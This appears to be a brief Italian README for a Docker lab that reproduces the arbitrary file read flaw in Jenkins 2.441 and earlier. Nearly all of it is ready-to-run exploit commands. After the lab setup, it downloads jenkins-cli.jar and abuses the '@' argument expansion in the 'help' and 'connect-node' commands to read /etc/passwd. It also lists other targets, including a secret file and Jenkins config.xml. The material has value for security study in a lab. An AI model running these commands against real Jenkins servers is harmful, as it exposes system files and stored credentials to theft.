
Vulnerabilità di lettura di file arbitrari in Jenkins 2.441 e versioni precedenti.
docker-compose up -d
docker exec -it attacker-host ./auto-exploit.sh
docker exec -it attacker-host bash
cd /tmp
curl -o jenkins-cli.jar http://vulnerable-jenkins:8080/jnlpJars/jenkins-cli.jar
# Prima riga del file
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http help "@/etc/passwd"
# File completo
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http connect-node "@/etc/passwd"
/etc/passwd/opt/test-files/secret.txt/var/jenkins_home/config.xmldocker-compose down